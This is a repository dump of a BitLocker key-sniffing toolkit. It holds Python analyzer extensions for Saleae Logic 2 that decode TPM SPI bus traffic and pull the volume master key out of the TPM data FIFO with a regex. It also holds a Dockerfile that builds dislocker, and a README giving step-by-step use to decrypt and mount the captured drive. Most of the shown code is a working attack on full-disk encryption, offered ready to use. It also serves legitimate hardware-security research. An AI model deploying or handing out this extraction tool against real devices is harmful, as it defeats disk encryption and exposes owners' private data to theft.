├── .gitignore ├── BitLocker-Key-Extractor ├── HighLevelAnalyzer.py └── extension.json ├── Dockerfile ├── README.md ├── TPM-SPI-Transaction ├── HighLevelAnalyzer.py ├── extension.json ├── rangedict.py └── registry.py ├── doc ├── auto-mount.png └── extracted-key.png ├── mount-bitlocker └── run.sh /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | *.py[cod] 3 | *$py.class 4 | .DS_Store 5 | -------------------------------------------------------------------------------- /BitLocker-Key-Extractor/HighLevelAnalyzer.py: -------------------------------------------------------------------------------- 1 | """This module implements BitLocker key extractor analyzer for Saleae Logic 2 2 | 3 | Installation: 4 | Add the analyzer by selecting Load Existing Extension from Logic 2's extensions tab. 5 | """ 6 | from enum import Enum 7 | import re 8 | from saleae.analyzers import HighLevelAnalyzer, AnalyzerFrame 9 | 10 | OPERATION_MASK = 0x80 11 | ADDRESS_MASK = 0x3f 12 | WAIT_MASK = 0x01 13 | WAIT_END = 0x01 14 | TPM_DATA_FIFO_0 = 0xd40024 15 | 16 | WINDOW_SIZE = 0x2c 17 | 18 | 19 | class Operation(Enum): 20 | """Enum for a TPM transaction type""" 21 | READ = 0x80 22 | WRITE = 0x00 23 | 24 | 25 | class TransactionState(Enum): 26 | """Different states for the decofing state machine""" 27 | READ_OPERATION = 1 28 | READ_ADDRESS = 2 29 | WAIT = 3 30 | TRANSFER_BYTE = 4 31 | 32 | 33 | class Transaction: 34 | """Capsulates one TPM SPI transaction 35 | 36 | Args: 37 | start_time: A timestamp when the first byte in this transatcion captured. 38 | operation: Transaction type. 39 | size: The number of data bytes. 40 | 41 | Attributes: 42 | start_time: A timestamp when the first byte in this transatcion captured. 43 | end_time: A timestamp when the last byte in this transatcion captured. 44 | operation (Operation): Transaction type. 45 | address (bytearray): The target address in the transatcion. (big-endian). 46 | data (bytearray): The data in the transatcion. 47 | size (int): The number of data bytes. 48 | wait_count (int): Holds the number of wait states between the address and data . 49 | """ 50 | start_time: float 51 | end_time: float 52 | operation: Operation 53 | address: bytearray 54 | data: bytearray 55 | size: int 56 | wait_count: int 57 | 58 | def __init__(self, start_time, operation, size): 59 | self.start_time = start_time 60 | self.end_time = None 61 | self.operation = operation 62 | self.address = bytearray() 63 | self.data = bytearray() 64 | self.size = size 65 | self.wait_count = 0 66 | 67 | def is_complete(self): 68 | """Return True if this transaction is complete. 69 | A transaction is complete when all address and data bytes are capture""" 70 | return self.is_address_complete() and self.is_data_complete() 71 | 72 | def is_data_complete(self): 73 | """Return True if all data bytes are captured.""" 74 | return len(self.data) == self.size 75 | 76 | def is_address_complete(self): 77 | """Return True if all three address bytes are captured.""" 78 | return len(self.address) == 3 79 | 80 | 81 | class Hla(HighLevelAnalyzer): 82 | """Implements the BitLocker key extractor 83 | 84 | Attributes: 85 | state (TransactionState): The current state of the state machine 86 | current_transaction (Transaction): Contains the transaction to be decoded 87 | window (bytearray): the last WINDOW_SIZE bytes from transactions. Used to search the key 88 | """ 89 | result_types = {} 90 | 91 | state = TransactionState.READ_OPERATION 92 | current_transaction = None 93 | window = b'' 94 | 95 | def __init__(self): 96 | pass 97 | 98 | def decode(self, frame: AnalyzerFrame): 99 | if frame.type == 'enable': 100 | self._reset_state_machine() 101 | elif frame.type == 'disable': 102 | self._reset_state_machine() 103 | elif frame.type == 'result': 104 | mosi = frame.data['mosi'][0] 105 | miso = frame.data['miso'][0] 106 | self._state_machine(mosi, miso, frame) 107 | 108 | def _reset_state_machine(self): 109 | self.state = TransactionState.READ_OPERATION 110 | 111 | def _state_machine(self, mosi, miso, frame): 112 | machine = { 113 | TransactionState.READ_OPERATION: self._read_state, 114 | TransactionState.READ_ADDRESS: self._read_address_state, 115 | TransactionState.WAIT: self._wait_state, 116 | TransactionState.TRANSFER_BYTE: self._transfer_byte_state 117 | } 118 | return machine[self.state](mosi, miso, frame) 119 | 120 | def _read_state(self, mosi, miso, frame): 121 | operation = Operation(mosi & OPERATION_MASK) 122 | size_of_transfer = (mosi & ADDRESS_MASK) + 1 123 | self.current_transaction = Transaction( 124 | frame.start_time, operation, size_of_transfer) 125 | self.state = TransactionState.READ_ADDRESS 126 | 127 | def _read_address_state(self, mosi, miso, frame): 128 | self.current_transaction.address += mosi.to_bytes(1, byteorder='big') 129 | address_complete = self.current_transaction.is_address_complete() 130 | if address_complete and not miso & WAIT_MASK: 131 | self.state = TransactionState.WAIT 132 | elif address_complete: 133 | self.state = TransactionState.TRANSFER_BYTE 134 | 135 | def _wait_state(self, mosi, miso, frame): 136 | self.current_transaction.wait_count += 1 137 | if miso == WAIT_END: 138 | self.state = TransactionState.TRANSFER_BYTE 139 | 140 | def _transfer_byte_state(self, mosi, miso, frame): 141 | if self.current_transaction.operation == Operation.READ: 142 | self.current_transaction.data += miso.to_bytes(1, byteorder='big') 143 | elif self.current_transaction.operation == Operation.WRITE: 144 | self.current_transaction.data += mosi.to_bytes(1, byteorder='big') 145 | 146 | if self.current_transaction.is_complete(): 147 | self.current_transaction.end_time = frame.end_time 148 | self._reset_state_machine() 149 | self._append_transaction() 150 | key = self._find_key() 151 | if key: 152 | print(f'[+] Found BitLocker key: {key}') 153 | self.window = b'' 154 | if len(self.window) >= WINDOW_SIZE: 155 | self.window = self.window[-WINDOW_SIZE:] 156 | 157 | def _append_transaction(self): 158 | if int.from_bytes(self.current_transaction.address, "big") != TPM_DATA_FIFO_0: 159 | return 160 | self.window += self.current_transaction.data 161 | 162 | def _find_key(self): 163 | data = self.window.hex() 164 | key = re.findall( 165 | r'2c000[0-6]000[1-9]000[0-1]000[0-5]200000(\w{64})', data) 166 | if key: 167 | return key[0] 168 | return None 169 | -------------------------------------------------------------------------------- /BitLocker-Key-Extractor/extension.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "BitLocker Key Extractor", 3 | "apiVersion": "1.0.0", 4 | "author": "Henri Nurmi", 5 | "version": "0.0.1", 6 | "description": "Extracts BitLocker key from the SPI bus", 7 | "extensions": { 8 | "BitLocker Key Extractor": { 9 | "type": "HighLevelAnalyzer", 10 | "entryPoint": "HighLevelAnalyzer.Hla" 11 | } 12 | } 13 | } -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:3.12 AS build 2 | 3 | RUN apk add --update-cache \ 4 | git \ 5 | gcc \ 6 | g++ \ 7 | cmake \ 8 | make \ 9 | fuse-dev \ 10 | mbedtls-dev 11 | 12 | RUN git clone https://github.com/Aorimn/dislocker.git /dislocker \ 13 | && cd /dislocker \ 14 | && git checkout tags/v0.7.3 \ 15 | && rm -rf .git \ 16 | && [ "$(find . -type f | xargs -P0 -n1 sha256sum | sort |sha256sum |cut -d' ' -f1)" \ 17 | == "40211653afe39cf1c7db4338b1c89250ca2bd0eaf63980e0340179e899cbf203" ] \ 18 | || { printf 1>&2 "\nINTEGRITY MISMATCH: The checksum of the cloned repo did not matched the expected one!\n"; exit 1; } \ 19 | && cmake . \ 20 | && make \ 21 | && make DESTDIR=/tmp/build install 22 | 23 | COPY run.sh /tmp/build/ 24 | RUN chmod +x /tmp/build/run.sh 25 | 26 | FROM alpine:3.12 27 | 28 | RUN apk add --update-cache \ 29 | fuse \ 30 | mbedtls \ 31 | xxd \ 32 | ntfs-3g \ 33 | bash 34 | 35 | COPY --from=build /tmp/build / 36 | ENTRYPOINT ["/run.sh"] 37 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # bitlocker-spi-toolkit 2 | 3 | Extract BitLocker's volume master key (VMK) from an SPI bus. This repository contains the following Saleae Logic 2 [High-Level analyzer](https://support.saleae.com/extensions/high-level-analyzer-quickstart) extensions: 4 | 5 | - BitLocker-Key-Extractor: Extracting BitLocker keys from the SPI bus. 6 | - TPM-SPI-Transaction: Decoding TPM SPI transactions from the SPI bus. This extension is not required but is a handy tool for TPM transactions. 7 | 8 | In addition, this toolkit includes a Docker container, which can be used to decrypt and mount the drive. For more information, read the following blog [post](https://labs.f-secure.com/blog/sniff-there-leaks-my-bitlocker-key/). 9 | 10 | ![Extracted BitLocker key](https://raw.githubusercontent.com/FSecureLABS/bitlocker-spi-toolkit/main/doc/extracted-key.png) 11 | ![Mounted drive](https://raw.githubusercontent.com/FSecureLABS/bitlocker-spi-toolkit/main/doc/auto-mount.png) 12 | 13 | ## Installation 14 | 15 | 1. Install the High-Level analyzers by selecting `Load Existing Extension` from Logic 2's extensions tab. 16 | 2. Build the docker image: `docker build -t bitlocker-spi-toolkit .`. 17 | 18 | ## Usage 19 | 20 | 1. Capture SPI traffic by using Logic 2. 21 | 2. Add the built-in SPI analyzer to decode the SPI byte stream. 22 | 3. Add the BitLocker-Key-Extractor analyzer to find BitLocker keys from the SPI stream. 23 | 4. Decrypt and mount the volume: `./mount-bitlocker /dev/sdXX ` 24 | - This starts the docker container, which all necessary options. 25 | - This drops you to a new shell, which can be used to manipulate the volume content. 26 | - To unmount the drive, run `exit`. 27 | 28 | ## Usage without Docker 29 | 30 | **Note for macOS users**: It [is not possible](https://github.com/docker/for-mac/issues/3110) to share Mac host devices with the container. So therefore, you have to do this manually: 31 | 32 | 1. Capture the VMK, as shown above. 33 | 2. Build and install the latest version of [Dislocker](https://github.com/Aorimn/dislocker). 34 | 3. Decrypt and mount the volume: `./run.sh /dev/sdXX` 35 | 36 | -------------------------------------------------------------------------------- /TPM-SPI-Transaction/HighLevelAnalyzer.py: -------------------------------------------------------------------------------- 1 | """Implements TPM SPI transaction decoder for Logic 2""" 2 | from enum import Enum 3 | from saleae.analyzers import ( 4 | HighLevelAnalyzer, 5 | AnalyzerFrame, 6 | StringSetting, 7 | ChoicesSetting 8 | ) 9 | from registry import fifo 10 | 11 | OPERATION_MASK = 0x80 12 | ADDRESS_MASK = 0x3f 13 | WAIT_MASK = 0x01 14 | WAIT_END = 0x01 15 | 16 | 17 | class Operation(Enum): 18 | """Enum for a TPM transaction type""" 19 | READ = 0x80 20 | WRITE = 0x00 21 | 22 | 23 | class TransactionState(Enum): 24 | """Different states for the decofing state machine""" 25 | READ_OPERATION = 1 26 | READ_ADDRESS = 2 27 | WAIT = 3 28 | TRANSFER_BYTE = 4 29 | 30 | 31 | class Transaction: 32 | """Capsulates one TPM SPI transaction 33 | 34 | Args: 35 | start_time: A timestamp when the first byte in this transatcion captured. 36 | operation: Transaction type. 37 | size: The number of data bytes. 38 | 39 | Attributes: 40 | start_time: A timestamp when the first byte in this transatcion captured. 41 | end_time: A timestamp when the last byte in this transatcion captured. 42 | operation (Operation): Transaction type. 43 | address (bytearray): The target address in the transatcion. (big-endian). 44 | data (bytearray): The data in the transatcion. 45 | size (int): The number of data bytes. 46 | wait_count (int): Holds the number of wait states between the address and data . 47 | """ 48 | start_time: float 49 | end_time: float 50 | operation: Operation 51 | address: bytearray 52 | data: bytearray 53 | size: int 54 | wait_count: int 55 | 56 | def __init__(self, start_time, operation, size): 57 | self.start_time = start_time 58 | self.end_time = None 59 | self.operation = operation 60 | self.address = bytearray() 61 | self.data = bytearray() 62 | self.size = size 63 | self.wait_count = 0 64 | 65 | def is_complete(self): 66 | """Return True if this transaction is complete. 67 | A transaction is complete when all address and data bytes are capture""" 68 | return self.is_address_complete() and self.is_data_complete() 69 | 70 | def is_data_complete(self): 71 | """Return True if all data bytes are captured.""" 72 | return len(self.data) == self.size 73 | 74 | def is_address_complete(self): 75 | """Return True if all three address bytes are captured.""" 76 | return len(self.address) == 3 77 | 78 | def frame(self): 79 | """Return AnalyzerFrame if the transaction is complete""" 80 | if self.is_complete(): 81 | frame_type = 'read' if self.operation == Operation.READ else 'write' 82 | register_name = "" 83 | try: 84 | register_name = fifo[int.from_bytes( 85 | self.address, "big") & 0xffff] 86 | except KeyError: 87 | register_name = "Unknown" 88 | return AnalyzerFrame(frame_type, self.start_time, self.end_time, { 89 | 'register': register_name, 90 | 'addr': "%04x" % int.from_bytes(self.address, "big"), 91 | 'data': self.data.hex(), 92 | 'waits': self.wait_count, 93 | }) 94 | return None 95 | 96 | 97 | class Hla(HighLevelAnalyzer): 98 | """Implements the TPM Transaction decoder. 99 | 100 | Attributes: 101 | state (TransactionState): The current state of the state machine 102 | current_transaction (Transaction): Contains the transaction to be decoded 103 | """ 104 | addr_filter_setting = StringSetting( 105 | label='Address filter list (hex, comma separated)') 106 | operation_setting = ChoicesSetting( 107 | ['Read', 'Write', 'Both'], 108 | label='Operation selector') 109 | 110 | addr_filters = None 111 | result_types = { 112 | 'read': { 113 | 'format': 'Rd: {{data.register}}, Data: {{data.data}}' 114 | }, 115 | 'write': { 116 | 'format': 'Wr: {{data.register}}, Data: {{data.data}}' 117 | } 118 | } 119 | 120 | state = TransactionState.READ_OPERATION 121 | current_transaction = None 122 | 123 | def __init__(self): 124 | if self.addr_filter_setting != "": 125 | self.addr_filters = list( 126 | map(lambda x: x.lower(), self.addr_filter_setting.split(','))) 127 | 128 | def decode(self, frame: AnalyzerFrame): 129 | out_frame = None 130 | if frame.type == 'enable': 131 | self._reset_state_machine() 132 | elif frame.type == 'disable': 133 | self._reset_state_machine() 134 | elif frame.type == 'result': 135 | mosi = frame.data['mosi'][0] 136 | miso = frame.data['miso'][0] 137 | out_frame = self._state_machine(mosi, miso, frame) 138 | return out_frame 139 | 140 | def _reset_state_machine(self): 141 | self.state = TransactionState.READ_OPERATION 142 | 143 | def _state_machine(self, mosi, miso, frame): 144 | machine = { 145 | TransactionState.READ_OPERATION: self._read_state, 146 | TransactionState.READ_ADDRESS: self._read_address_state, 147 | TransactionState.WAIT: self._wait_state, 148 | TransactionState.TRANSFER_BYTE: self._transfer_byte_state 149 | } 150 | return machine[self.state](mosi, miso, frame) 151 | 152 | def _read_state(self, mosi, miso, frame): 153 | operation = Operation(mosi & OPERATION_MASK) 154 | size_of_transfer = (mosi & ADDRESS_MASK) + 1 155 | self.current_transaction = Transaction( 156 | frame.start_time, operation, size_of_transfer) 157 | self.state = TransactionState.READ_ADDRESS 158 | 159 | def _read_address_state(self, mosi, miso, frame): 160 | self.current_transaction.address += mosi.to_bytes(1, byteorder='big') 161 | address_complete = self.current_transaction.is_address_complete() 162 | if address_complete and not miso & WAIT_MASK: 163 | self.state = TransactionState.WAIT 164 | elif address_complete: 165 | self.state = TransactionState.TRANSFER_BYTE 166 | 167 | def _wait_state(self, mosi, miso, frame): 168 | self.current_transaction.wait_count += 1 169 | if miso == WAIT_END: 170 | self.state = TransactionState.TRANSFER_BYTE 171 | 172 | def _transfer_byte_state(self, mosi, miso, frame): 173 | if self.current_transaction.operation == Operation.READ: 174 | self.current_transaction.data += miso.to_bytes(1, byteorder='big') 175 | elif self.current_transaction.operation == Operation.WRITE: 176 | self.current_transaction.data += mosi.to_bytes(1, byteorder='big') 177 | 178 | if self.current_transaction.is_complete(): 179 | self.current_transaction.end_time = frame.end_time 180 | self._reset_state_machine() 181 | return self._build_frame() 182 | return None 183 | 184 | def _build_frame(self): 185 | if self.addr_filters and self.current_transaction.address.hex() not in self.addr_filters: 186 | return None 187 | if self.operation_setting == 'Read' and self.current_transaction.operation != Operation.READ: 188 | return None 189 | if self.operation_setting == 'Write' and self.current_transaction.operation != Operation.WRITE: 190 | return None 191 | print(self.current_transaction.data.hex(), end='') 192 | return self.current_transaction.frame() 193 | -------------------------------------------------------------------------------- /TPM-SPI-Transaction/extension.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "TPM SPI Transaction", 3 | "apiVersion": "1.0.0", 4 | "author": "Henri Nurmi", 5 | "version": "0.0.1", 6 | "description": "Parses TPM transactions from SPI bus. Defined in https://trustedcomputinggroup.org/wp-content/uploads/PC-Client-Specific-Platform-TPM-Profile-for-TPM-2p0-v1p05p_r14_pub.pdf", 7 | "extensions": { 8 | "TPM SPI": { 9 | "type": "HighLevelAnalyzer", 10 | "entryPoint": "HighLevelAnalyzer.Hla" 11 | } 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /TPM-SPI-Transaction/rangedict.py: -------------------------------------------------------------------------------- 1 | # https://raw.githubusercontent.com/WKPlus/rangedict/master/rangedict.py 2 | __all__ = ['RangeDict'] 3 | 4 | 5 | class Color(object): 6 | BLACK = 0 7 | RED = 1 8 | 9 | 10 | class Node(object): 11 | __slots__ = ('r', 'left', 'right', 'value', 'color', 'parent') 12 | 13 | def __init__(self, r, value, parent=None, color=Color.RED): 14 | self.r = r 15 | self.value = value 16 | self.parent = parent 17 | self.color = color 18 | self.left = None 19 | self.right = None 20 | 21 | def value_copy(self, other): 22 | self.r = other.r 23 | self.value = other.value 24 | 25 | 26 | class RangeDict(dict): 27 | 28 | def __init__(self): 29 | self._root = None 30 | 31 | def __setitem__(self, r, v): 32 | if r[1] < r[0]: 33 | raise KeyError 34 | node = self._insert(r, v) 35 | self._insert_adjust(node) 36 | 37 | def _insert(self, r, v): 38 | if not self._root: 39 | self._root = Node(r, v) 40 | return self._root 41 | cur = self._root 42 | while True: 43 | if r[1] < cur.r[0]: 44 | if not cur.left: 45 | cur.left = Node(r, v, cur) 46 | return cur.left 47 | cur = cur.left 48 | elif r[0] > cur.r[1]: 49 | if not cur.right: 50 | cur.right = Node(r, v, cur) 51 | return cur.right 52 | cur = cur.right 53 | else: 54 | raise KeyError # overlap not supported 55 | 56 | def _insert_adjust(self, node): 57 | ''' adjust to make the tree still a red black tree ''' 58 | if not node.parent: 59 | node.color = Color.BLACK 60 | return 61 | if node.parent.color == Color.BLACK: 62 | return 63 | uncle = self.sibling(node.parent) 64 | if node_color(uncle) == Color.RED: 65 | node.parent.color = Color.BLACK 66 | uncle.color = Color.BLACK 67 | node.parent.parent.color = Color.RED 68 | return self._insert_adjust(node.parent.parent) 69 | 70 | #parent is red and uncle is black 71 | # since parent is red, grandparent must exists and be black 72 | parent = node.parent 73 | grandparent = parent.parent 74 | if self.is_left_son(parent, grandparent): 75 | if self.is_left_son(node, parent): 76 | self.right_rotate(grandparent) 77 | grandparent.color = Color.RED 78 | parent.color = Color.BLACK 79 | else: 80 | self.left_rotate(parent) 81 | self.right_rotate(grandparent) 82 | grandparent.color = Color.RED 83 | node.color = Color.BLACK 84 | else: 85 | if self.is_left_son(node, parent): 86 | self.right_rotate(parent) 87 | self.left_rotate(grandparent) 88 | grandparent.color = Color.RED 89 | node.color = Color.BLACK 90 | else: 91 | self.left_rotate(grandparent) 92 | grandparent.color = Color.RED 93 | parent.color = Color.BLACK 94 | 95 | def _find_key(self, key): 96 | cur = self._root 97 | while cur: 98 | if key > cur.r[1]: 99 | cur = cur.right 100 | elif key < cur.r[0]: 101 | cur = cur.left 102 | else: 103 | break 104 | return cur 105 | 106 | def _find_range(self, r): 107 | cur = self._root 108 | while cur: 109 | if r[1] < cur.r[0]: 110 | cur = cur.left 111 | elif r[0] > cur.r[1]: 112 | cur = cur.right 113 | elif r[0] == cur.r[0] and r[1] == cur.r[1]: 114 | return cur 115 | else: 116 | raise KeyError 117 | raise KeyError 118 | 119 | def __getitem__(self, key): 120 | tar = self._find_key(key) 121 | if tar: 122 | return tar.value 123 | raise KeyError 124 | 125 | def __contains__(self, key): 126 | return bool(self._find_key(key)) 127 | 128 | def __delitem__(self, r): 129 | node = self._find_range(r) 130 | if node.left and node.right: 131 | left_rightest_child = self.find_rightest(node.left) 132 | node.value_copy(left_rightest_child) 133 | node = left_rightest_child 134 | self._delete(node) 135 | 136 | def _delete(self, node): 137 | # node has at most one child 138 | child = node.left if node.left else node.right 139 | if not node.parent: # node is root 140 | self._root = child 141 | if self._root: 142 | self._root.parent = None 143 | self._root.color = Color.BLACK 144 | return 145 | 146 | parent = node.parent 147 | if not child: 148 | child = Node(None, None, parent, Color.BLACK) 149 | if self.is_left_son(node, parent): 150 | parent.left = child 151 | else: 152 | parent.right = child 153 | child.parent = parent 154 | 155 | if node.color == Color.RED: 156 | # no need to adjust when deleting a red node 157 | return 158 | if node_color(child) == Color.RED: 159 | child.color = Color.BLACK 160 | return 161 | self._delete_adjust(child) 162 | if not child.r: 163 | # mock a None node for adjust, need to delete it after that 164 | parent = child.parent 165 | if self.is_left_son(child, parent): 166 | parent.left = None 167 | else: 168 | parent.right = None 169 | 170 | def _delete_adjust(self, node): 171 | if not node.parent: 172 | node.color = Color.BLACK 173 | return 174 | 175 | parent = node.parent 176 | sibling = self.sibling(node) 177 | if node_color(sibling) == Color.RED: 178 | if self.is_left_son(node, parent): 179 | self.left_rotate(parent) 180 | else: 181 | self.right_rotate(parent) 182 | parent.color = Color.RED 183 | sibling.color = Color.BLACK 184 | sibling = self.sibling(node) # must be black 185 | 186 | # sibling must be black now 187 | if not self.is_black(parent) and self.is_black(sibling.left) and \ 188 | self.is_black(sibling.right): 189 | parent.color = Color.BLACK 190 | sibling.color = Color.RED 191 | return 192 | 193 | if self.is_black(parent) and self.is_black(sibling.left) and \ 194 | self.is_black(sibling.right): 195 | sibling.color = Color.RED 196 | return self._delete_adjust(parent) 197 | 198 | if self.is_left_son(node, parent): 199 | if not self.is_black(sibling.left) and \ 200 | self.is_black(sibling.right): 201 | sibling.left.color = Color.BLACK 202 | sibling.color = Color.RED 203 | self.right_rotate(sibling) 204 | sibling = sibling.parent 205 | 206 | # sibling.right must be red 207 | sibling.color = parent.color 208 | parent.color = Color.BLACK 209 | sibling.right.color = Color.BLACK 210 | self.left_rotate(parent) 211 | else: 212 | if not self.is_black(sibling.right) and \ 213 | self.is_black(sibling.left): 214 | sibling.right.color = Color.BLACK 215 | sibling.color = Color.RED 216 | self.left_rotate(parent) 217 | sibling = sibling.parent 218 | 219 | # sibling.left must be red 220 | sibling.color = parent.color 221 | parent.color = Color.BLACK 222 | sibling.left.color = Color.RED 223 | self.right_rotate(parent) 224 | 225 | def left_rotate(self, node): 226 | right_son = node.right 227 | 228 | if not node.parent: 229 | self._root = right_son 230 | elif self.is_left_son(node, node.parent): 231 | node.parent.left = right_son 232 | else: 233 | node.parent.right = right_son 234 | right_son.parent = node.parent 235 | 236 | node.parent = right_son 237 | node.right = right_son.left 238 | right_son.left = node 239 | 240 | def right_rotate(self, node): 241 | left_son = node.left 242 | if not node.parent: 243 | self._root = left_son 244 | elif self.is_left_son(node, node.parent): 245 | node.parent.left = left_son 246 | else: 247 | node.parent.right = left_son 248 | left_son.parent = node.parent 249 | 250 | node.parent = left_son 251 | node.left = left_son.right 252 | left_son.right = node 253 | 254 | @staticmethod 255 | def sibling(node): 256 | if node.parent.left == node: 257 | return node.parent.right 258 | else: 259 | return node.parent.left 260 | 261 | @staticmethod 262 | def is_left_son(child, parent): 263 | if parent.left == child: 264 | return True 265 | else: 266 | return False 267 | 268 | @staticmethod 269 | def find_rightest(node): 270 | while node.right: 271 | node = node.right 272 | return node 273 | 274 | @staticmethod 275 | def is_black(node): 276 | return node_color(node) == Color.BLACK 277 | 278 | 279 | def node_color(node): 280 | if not node: 281 | return Color.BLACK 282 | return node.color 283 | 284 | 285 | def in_order(root): 286 | ret = [] 287 | if not root: 288 | return [] 289 | return in_order(root.left) + [root.value] + in_order(root.right) 290 | 291 | 292 | def height(root): 293 | if not root: 294 | return 0 295 | return 1 + max(height(root.left), height(root.right)) 296 | 297 | 298 | if __name__ == '__main__': 299 | pass 300 | -------------------------------------------------------------------------------- /TPM-SPI-Transaction/registry.py: -------------------------------------------------------------------------------- 1 | """Map address ranges to TPM registry names""" 2 | from rangedict import RangeDict 3 | fifo = RangeDict() 4 | fifo[(0x0000, 0x0000)] = "TPM_ACCESS_0" 5 | fifo[(0x0001, 0x0007)] = "Reserved" 6 | fifo[(0x0008, 0x000b)] = "TPM_INT_ENABLE_0" 7 | fifo[(0x000c, 0x000c)] = "TPM_INT_VECTOR_0" 8 | fifo[(0x000d, 0x000f)] = "Reserved" 9 | fifo[(0x0010, 0x0013)] = "TPM_INT_STATUS_0" 10 | fifo[(0x0014, 0x0017)] = "TPM_INTF_CAPABILITY_0" 11 | fifo[(0x0018, 0x001b)] = "TPM_STS_0" 12 | fifo[(0x001c, 0x0023)] = "Reserved" 13 | fifo[(0x0024, 0x0027)] = "TPM_DATA_FIFO_0" 14 | fifo[(0x0028, 0x002f)] = "Reserved" 15 | fifo[(0x0030, 0x0033)] = "TPM_INTERFACE_ID_0" 16 | fifo[(0x0034, 0x007f)] = "Reserved" 17 | fifo[(0x0080, 0x0083)] = "TPM_XDATA_FIFO_0" 18 | fifo[(0x0084, 0x0881)] = "Reserved" 19 | fifo[(0x0f00, 0x0f03)] = "TPM_DID_VID_0" 20 | fifo[(0x0f04, 0x0f04)] = "TPM_RID_0" 21 | fifo[(0x0f90, 0x0fff)] = "Reserved" 22 | fifo[(0x1000, 0x1000)] = "TPM_ACCESS_1" 23 | fifo[(0x1001, 0x1007)] = "Reserved" 24 | fifo[(0x1008, 0x100b)] = "TPM_INT_ENABLE_1" 25 | fifo[(0x100c, 0x100c)] = "TPM_INT_VECTOR_1" 26 | fifo[(0x100d, 0x100f)] = "Reserved" 27 | fifo[(0x1010, 0x1013)] = "TPM_INT_STATUS_1" 28 | fifo[(0x1014, 0x1017)] = "TPM_INTF_CAPABILITY_1" 29 | fifo[(0x1018, 0x101b)] = "TPM_STS_1" 30 | fifo[(0x101c, 0x1023)] = "Reserved" 31 | fifo[(0x1024, 0x1027)] = "TPM_DATA_FIFO_1" 32 | fifo[(0x1028, 0x102f)] = "Reserved" 33 | fifo[(0x1030, 0x1030)] = "TPM_INTERFACE_ID_1" 34 | fifo[(0x1037, 0x107f)] = "Reserved" 35 | fifo[(0x1080, 0x1083)] = "TPM_XDATA_FIFO_1" 36 | fifo[(0x1084, 0x1eff)] = "Reserved" 37 | fifo[(0x1f00, 0x1f03)] = "TPM_DID_VID_1" 38 | fifo[(0x1f04, 0x1f04)] = "TPM_RID_1" 39 | fifo[(0x1f05, 0x1fff)] = "Reserved" 40 | fifo[(0x2000, 0x2000)] = "TPM_ACCESS_2" 41 | fifo[(0x2001, 0x2007)] = "Reserved" 42 | fifo[(0x2008, 0x200b)] = "TPM_INT_ENABLE_2" 43 | fifo[(0x200c, 0x200c)] = "TPM_INT_VECTOR_2" 44 | fifo[(0x200d, 0x200f)] = "Reserved" 45 | fifo[(0x2010, 0x2013)] = "TPM_INT_STATUS_2" 46 | fifo[(0x2014, 0x2017)] = "TPM_INTF_CAPABILITY_2" 47 | fifo[(0x2018, 0x201b)] = "TPM_STS_2" 48 | fifo[(0x201c, 0x2023)] = "Reserved" 49 | fifo[(0x2024, 0x2027)] = "TPM_DATA_FIFO_2" 50 | fifo[(0x2028, 0x202f)] = "Reserved" 51 | fifo[(0x2030, 0x2033)] = "TPM_INTERFACE_ID_2" 52 | fifo[(0x2034, 0x207f)] = "Reserved" 53 | fifo[(0x2080, 0x2083)] = "TPM_XDATA_FIFO_2" 54 | fifo[(0x2084, 0x2eff)] = "Reserved" 55 | fifo[(0x2f00, 0x2f03)] = "TPM_DID_VID_2" 56 | fifo[(0x2f04, 0x2f04)] = "TPM_RID_2" 57 | fifo[(0x2f05, 0x2fff)] = "Reserved" 58 | fifo[(0x3000, 0x3000)] = "TPM_ACCESS_3" 59 | fifo[(0x3001, 0x3007)] = "Reserved" 60 | fifo[(0x3008, 0x300b)] = "TPM_INT_ENABLE_3" 61 | fifo[(0x300c, 0x300c)] = "TPM_INT_VECTOR_3" 62 | fifo[(0x300d, 0x300f)] = "Reserved" 63 | fifo[(0x3010, 0x3013)] = "TPM_INT_STATUS_3" 64 | fifo[(0x3014, 0x3017)] = "TPM_INTF_CAPABILITY_3" 65 | fifo[(0x3018, 0x301b)] = "TPM_STS_3" 66 | fifo[(0x301c, 0x3023)] = "Reserved" 67 | fifo[(0x3024, 0x3027)] = "TPM_DATA_FIFO_3" 68 | fifo[(0x3028, 0x302f)] = "Reserved" 69 | fifo[(0x3030, 0x3033)] = "TPM_INTERFACE_ID_3" 70 | fifo[(0x3034, 0x307f)] = "Reserved" 71 | fifo[(0x3080, 0x3083)] = "TPM_XDATA_FIFO_3" 72 | fifo[(0x3084, 0x3eff)] = "Reserved" 73 | fifo[(0x3f00, 0x3f03)] = "TPM_DID_VID_3" 74 | fifo[(0x3f04, 0x3f04)] = "TPM_RID_3" 75 | fifo[(0x3f05, 0x3fff)] = "Reserved" 76 | fifo[(0x4000, 0x4000)] = "TPM_ACCESS_4" 77 | fifo[(0x4001, 0x4007)] = "Reserved" 78 | fifo[(0x4008, 0x400b)] = "TPM_INT_ENABLE_4" 79 | fifo[(0x400c, 0x400c)] = "TPM_INT_VECTOR_4" 80 | fifo[(0x400d, 0x400f)] = "Reserved" 81 | fifo[(0x4010, 0x4013)] = "TPM_INT_STATUS_4" 82 | fifo[(0x4014, 0x4017)] = "TPM_INTF_CAPABILITY_4" 83 | fifo[(0x4018, 0x401b)] = "TPM_STS_4" 84 | fifo[(0x401c, 0x401f)] = "Reserved" 85 | fifo[(0x4020, 0x4023)] = "TPM_HASH_END" 86 | fifo[(0x4024, 0x4027)] = "TPM_DATA_FIFO_4" 87 | fifo[(0x4028, 0x402f)] = "TPM_HASH_START" 88 | fifo[(0x4030, 0x4033)] = "TPM_INTERFACE_ID_4" 89 | fifo[(0x4034, 0x407f)] = "Reserved" 90 | fifo[(0x4080, 0x4083)] = "TPM_XDATA_FIFO_4" 91 | fifo[(0x4084, 0x4eff)] = "Reserved" 92 | fifo[(0x4f00, 0x4f03)] = "TPM_DID_VID_4" 93 | fifo[(0x4f04, 0x4f04)] = "TPM_RID_4" 94 | fifo[(0x4f05, 0x4fff)] = "Reserved" 95 | fifo[(0x5000, 0x5fff)] = "Reserved" 96 | -------------------------------------------------------------------------------- /doc/auto-mount.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ReversecLabs/bitlocker-spi-toolkit/c04105672905dfdc51cf04c722bd9c06baa4a8d4/doc/auto-mount.png -------------------------------------------------------------------------------- 